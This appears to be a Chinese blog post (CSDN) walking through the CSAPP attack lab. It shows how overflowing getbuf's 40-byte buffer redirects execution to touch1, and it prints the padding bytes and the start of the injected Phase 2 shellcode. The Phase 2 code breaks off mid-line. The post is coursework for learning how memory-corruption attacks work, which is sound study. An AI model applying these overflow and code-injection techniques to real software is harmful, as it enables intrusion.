【深入理解计算机系统csapp lab】attacklab

Attack labAttack lab的handout写的非常详细,容易上手。一共分为两部分:第一部分是code injection attack,有3个phase;第二部分是return-oriented programming,需要在已有的程序里找需要执行的指令来完成整个程序,有2个phase。Phase 1:在这部分需要做的工作很简单,利用缓存区溢出,把位于getbuf栈帧底部的返回地址改为函数touch1的地址即可。在反汇编的代码中找到getbuf函数:00000000004017a8
摘要由CSDN通过智能技术生成

Attack lab

Attack lab的handout写的非常详细,容易上手。一共分为两部分:第一部分是code injection attack,有3个phase;第二部分是return-oriented programming,需要在已有的程序里找需要执行的指令来完成整个程序,有2个phase。

Phase 1:
在这部分需要做的工作很简单,利用缓存区溢出,把位于getbuf栈帧底部的返回地址改为函数touch1的地址即可。
在反汇编的代码中找到getbuf函数:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp

可以看到分配的缓存区大小是0x28,,也就算40个字节。
也就是我们需要输入40个字节+目标地址(touch1)。

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40

注意小端存储模式是低位在低地址,先输入,所以地址的输入顺序应该是按字节反过来的。

Phase 2:
这一关不但要跳转到函数touch2,还要在这之前传递指定参数。
思路是:在缓冲区中注入代码,并将原本的函数返回地址重定向到我们注入的代码。
注入的代码是:

   48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi  //将cookie赋值给rdi(传参)
   68 ec 17 40 0
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值